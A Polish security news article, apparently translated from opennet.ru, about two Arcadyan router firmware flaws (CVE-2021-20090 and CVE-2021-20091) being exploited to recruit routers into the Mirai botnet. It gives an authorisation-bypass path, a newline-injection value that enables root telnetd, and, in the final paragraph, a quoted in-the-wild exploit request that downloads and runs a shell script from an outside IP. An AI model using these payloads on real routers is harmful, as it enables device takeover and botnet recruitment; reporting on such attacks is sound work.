W sieci zaobserwowano masowy atak na domowe routery, w których oprogramowaniu układowym wykorzystano implementację serwera http od firmy Arcadyan. Do przejęcia kontroli nad urządzeniami wykorzystuje się połączenie dwóch luk, które umożliwiają zdalne wykonanie dowolnego kodu z uprawnieniami root. Problem dotyczy wystarczająco szerokiego zakresu routerów ADSL od firm Arcadyan, ASUS i Buffalo, a także urządzeń dostarczanych pod markami Biełajn (problem potwierdzony w Smart Box Flash), Deutsche Telekom, Orange, O2, Telus, Verizon, Vodafone oraz innych operatorów telekomunikacyjnych. Zauważono, że problem występuje w oprogramowaniu układowym Arcadyan od ponad 10 lat i przez ten czas zdążył przenieść się co najmniej do 20 modeli urządzeń od 17 różnych producentów.
Pierwsza podatność CVE-2021-20090 umożliwia dostęp do dowolnego skryptu interfejsu webowego bez przechodzenia przez proces autoryzacji. Istota tej podatności polega na tym, że w interfejsie webowym niektóre katalogi, z których pobierane są obrazy, pliki CSS i skrypty JavaScript, są dostępne bez autoryzacji. Przecież sprawdzenie katalogów, dla których dozwolony jest dostęp bez autoryzacji, odbywa się na podstawie początkowej maski. Wskazanie w ścieżkach symboli „..\/” w celu przejścia do katalogu nadrzędnego jest blokowane przez oprogramowanie, ale użycie kombinacji „..” jest akceptowane. W ten sposób istnieje możliwość otwierania chronionych stron przy wysyłaniu zapytań, takich jak „http:\/\/192.168.1.1\/images\/..index.htm”.
Druga podatność CVE-2021-20091 pozwala uwierzytelnionemu użytkownikowi na wprowadzenie zmian w ustawieniach systemowych urządzenia poprzez wysłanie specjalnie sformatowanych parametrów do skryptu apply_abstract.cgi, który nie sprawdza obecności znaku nowej linii w parametrach. Na przykład napastnik może podczas wykonywania operacji ping wskazać w polu z kontrolowanym adresem IP wartość „192.168.1.2ARC_SYS_TelnetdEnable=1”, a skrypt podczas tworzenia pliku z ustawieniami \/tmp\/etc\/config\/.glbcfg zapisze w nim linię „AARC_SYS_TelnetdEnable=1”, która aktywuje serwer telnetd, zapewniający nieograniczony dostęp do powłoki z uprawnieniami root. Podobnie, za pomocą ustawienia parametru AARC_SYS można wykonać dowolny kod w systemie. Pierwsza podatność umożliwia uruchomienie problematycznego skryptu bez autoryzacji, uzyskując do niego dostęp jako „\/images\/..apply_abstract.cgi.”
Aby wykorzystać luki w oprogramowaniu, atakujący musi mieć możliwość wysłania żądania do portu sieciowego, na którym działa interfejs webowy. Sądząc po dynamice rozprzestrzeniania się ataku, wielu operatorów pozostawia dostęp do swoich urządzeń z sieci zewnętrznej, aby ułatwić diagnostykę problemów przez dział wsparcia. Przy ograniczeniu dostępu do interfejsu tylko dla sieci wewnętrznej, atak może zostać przeprowadzony z sieci zewnętrznej przy użyciu techniki „DNS rebinding”. Luka ta jest już aktywnie wykorzystywana do podłączania routerów do botnetu Mirai: POST /images/..apply_abstract.cgi HTTP/1.1 Connection: close User-Agent: Dark action=start_ping&submit_button=ping.html& action_params=blink_time5&ARC_ping_ipaddress=212.192.241.7 ARC_SYS_TelnetdEnable=1& ARC_SYS_=cd+tmp; wget http://212.192.241.72/lolol.sh; curl -O http://212.192.241.72/lolol.sh; chmod 777 lolol.sh; sh lolol.sh&ARC_ping_status=0&TMP_Ping_Type=4
Źródło: opennet.ru
